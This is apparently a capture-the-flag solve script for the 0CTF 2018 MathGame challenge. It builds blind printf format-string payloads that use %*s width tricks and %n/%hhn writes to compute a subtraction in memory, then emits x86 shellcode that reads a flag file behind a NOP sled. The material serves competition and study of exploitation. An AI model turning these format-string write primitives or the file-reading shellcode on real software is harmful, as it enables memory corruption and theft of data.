0CTF 2018 Quals - MathGame (Misc 343)

1_solve.py

#-*- coding:utf-8 -*-

"""
In this challenge we need to use blind printf in order to subtract to 32-bit integers.

The two main format operators needed are (arguments given for example)
(a) %5$*7$s - write string passed in the 5th argument padded to the length passed in the 7th argument.
(b) %5$n - write number of previously written bytes to the pointer given in the 5th argument.

1. We use (a) with (b) to copy two secret integers. Then we use (b) to zero-out all-bytes except one.
For example:

a1 a2 a3 a4
b1 b2 b3 b4
->
a1 00 00 00
b1 00 00 00

2. We use (a) twice and (b) to add the two bytes. We repeat this 255 times, because (a+255*b) % 256 = (a-b) % 256.

3. We write the resulting byte in the corresponding byte of the answer using (a) and (b).

3. We repeat this for each of the 4 bytes.

4. If during the real subtraction there were no carries between the words, then our answer is correct.
As there can be 3 carries, it happens with probability 1/8.
"""

import sys
from struct import pack, unpack

def print_s(width_argno=None, value_argno=None):
    res = "%"
    if value_argno is None:
        value_argno = zeroptr_argno

    if value_argno:
        res += str(value_argno) + "$"
    if width_argno:
        res += "*" + str(width_argno) + "$"
    res += "s"
    return res

def print_sz(sz):
    res = "%"
    res += str(sz)
    res += "c"
    return res

def store4(addr_argno):
    return "%" + str(addr_argno) + "$n"

def store2(addr_argno):
    return "%" + str(addr_argno) + "$hn"

def store1(addr_argno):
    return "%" + str(addr_argno) + "$hhn"

def setfmt(fmt):
    for i in xrange(len(fmt)):
        assert payload[i] is None
        payload[i] = fmt[i]

def setarg(argno, val):
    s = pack("<I", val)
    offset = (argno - 5) * 4
    assert 0 <= offset <= 28
    for i in xrange(4):
        assert payload[offset+i] is None
        payload[offset+i] = s[i]

def argno_addr(argno):
    return 0xdead1000 + (argno-3) * 4

def reset():
    global payload, fmt
    fmt = ""
    payload = [None] * 32

def out():
    global fmt
    setfmt(fmt)
    for i in xrange(32):
        if payload[i] is None:
            payload[i] = "@"
    sys.stdout.write("".join(payload))
    sys.stdout.flush()

def copy_word(src_argno, target_addr):
    global fmt
    reset()
    fmt += print_s(width_argno=src_argno)
    fmt += store4(addr_argno=12)
    setarg(12, target_addr)
    out()

def copy_byte(src_argno, target_addr):
    global fmt
    reset()
    fmt += print_s(width_argno=src_argno)
    fmt += store1(addr_argno=12)
    setarg(12, target_addr)
    out()

def zeroize_byte(addr):
    global fmt
    reset()
    fmt += store1(addr_argno=12)
    setarg(12, addr)
    out()

def zeroize_word(addr):
    global fmt
    reset()
    fmt += store4(addr_argno=12)
    setarg(12, addr)
    out()

def copy_sec_byte(byte_index):
    copy_word(src_argno=3, target_addr=argno_addr(20)-byte_index)
    copy_word(src_argno=4, target_addr=argno_addr(30)-byte_index)
    zeroize_word(argno_addr(20)+1)
    zeroize_word(argno_addr(30)+1)

def add_bytes():
    global fmt
    reset()
    fmt += print_s(width_argno=20)
    fmt += print_s(width_argno=30)
    fmt += store1(addr_argno=12)
    setarg(12, argno_addr(20))
    out()

def make_zero_ptr():
    global fmt
    val = zero_addr
    for no in xrange(4):
        reset()
        fmt += print_sz(val & 0xff) + store1(12)
        setarg(12, argno_addr(zeroptr_argno) + no)
        out()
        val >>= 8

payload = None
fmt = None

answer_addr = 0xDEAD1800
zero_addr = 0xDEAD1000 + 0x404
zeroptr_argno = 40

make_zero_ptr()
for no in xrange(4):
    copy_sec_byte(byte_index=no)
    for i in xrange(255):
        add_bytes()
    copy_byte(src_argno=20, target_addr=answer_addr+no)

reset()
fmt = "\x00" * 32
out()

# cat file
SC = (
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
"\xeb\x32\x5b\xb0\x05\x31\xc9\xcd"
"\x80\x89\xc6\xeb\x06\xb0\x01\x31"
"\xdb\xeb\xe6\x89\xf3\xb0\x03\x83"
"\xec\x01\x8d\x0c\x24\xb2\x01\xcd"
"\x80\x31\xdb\x39\xc3\x74\xe6\xb0"
"\x04\xb3\x01\xb2\x01\xcd\x80\x83"
"\xc4\x01\xeb\xdf\xe8\xc9\xff\xff"
"\xff"
"/home/subtraction/flag\x00"
)
# echo something
# SC = "\x68\x01\x01\x01\x01\x81\x34\x24\x45\x0b\x01\x01\x68\x4f\x52\x4b\x45\x68\x43\x4b\x20\x57\x68\x41\x54\x54\x41\x6a\x04\x58\x6a\x01\x5b\x89\xe1\x6a\x0e\x5a\xcd\x80"

assert len(SC) < 90
sys.stdout.write(SC.ljust(150, "\x90"))